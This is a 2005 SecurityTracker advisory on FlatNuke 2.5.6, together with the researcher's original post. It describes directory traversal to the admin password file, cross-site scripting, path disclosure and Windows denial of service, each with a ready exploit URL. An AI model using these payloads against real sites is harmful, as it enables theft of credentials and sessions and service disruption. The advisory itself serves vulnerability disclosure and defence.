FlatNuke 'id' Parameter Discloses Files to Remote Users and Other Bugs Permit Cross-Site Scripting and Denial of Service Attacks
|
|
SecurityTracker Alert ID: 1014824 |
|
SecurityTracker URL: http://securitytracker.com/id/1014824
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Aug 31 2005
|
Impact:
Denial of service via network, Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Version(s): 2.5.6
|
Description:
rgod reported several vulnerabilities in FlatNuke. A remote user can view arbitrary files, conduct cross-site scripting attacks, and cause denial of service conditions on the target system.
The software does not properly validate user-supplied input in the 'id' parameter. A remote user can supply a specially crafted parameter value containing a filename with '../' directory traversal characters and ending with '%00' to view arbitrary files on the target system.
Some demonstration exploit URLs are provided:
http://[target]/[path]/index.php?mod=read&id=../forum/users/admin.php%00
http://[target]/[path]/index.php?mod=read&id=../forum/users/[user].php%00
The 'index.php' script's 'vis_reg' function does not properly filter HTML code from user-supplied input in the 'usr' parameter before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the FlatNuke software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A demonstration exploit URL is provided:
http://[target]/[path]/forum/index.php?op=vis_reg&usr="><script>alert(LOL%20%20')</script><!--
A remote user can submit the following type of request with a MS-DOS device name in the 'news' parameter to cause the system to disclose the installation path:
http://[target]/[path]/print.php?news=com1%00&mod=whatever
The following URL will also cause the system to disclose the installation path.
http://[target]/[path]/index.php?mod=read&id=whatever
A remote user can cause excessive resource consumption on a target Windows-based system with the following URLs:
http://[target]/[path]/print.php?news=con%00&mod=ciao
http://[target]/[path]/index.php?mod=read&id=../forum/users/con%00
|
Impact:
A remote user can view files on the target system with the privileges of the target web service.
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the FlatNuke software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A remote user can determine the installation path.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: flatnuke.sourceforge.net/flatnuke/ (Links to External Site)
|
Cause:
Access control error, Exception handling error, Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Subject: Flatnuke 2.5.6 Underlying system information disclosure / Administrative & users credentials disclosure / cross site scripting / path disclosure / resource consumption poc
|
Flatnuke 2.5.6 Underlying system information disclosure / Administrative &
users credentials disclosure
/ cross site scripting / path disclosure / resource consumption poc
software:
site: http://flatnuke.sourceforge.net/flatnuke/
1) cross site scripting:
http://[target]/[path]/forum/index.php?op=vis_reg&usr="><script>alert(
LOL%20%20')</script><!--
2) path disclosure:
2.a) http://[target]/[path]/print.php?news=com1%00&mod=whatever
and so on calling MS-DOS reserved device name for news parameter...
2.b) http://[target]/[path]/index.php?mod=read&id=whatever
3) resource consumption:
on Windows:
http://[target]/[path]/print.php?news=con%00&mod=ciao
http://[target]/[path]/index.php?mod=read&id=../forum/users/con%00
4)
a user can retrieve any file on target system, example admin MD5 password
hash disclosure:
http://[target]/[path]/index.php?mod=read&id=../forum/users/admin.php%00
generally:
http://[target]/[path]/index.php?mod=read&id=../forum/users/[user].php%00
rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it
original advisory: http://rgod.altervista.org/flat256.html
|
|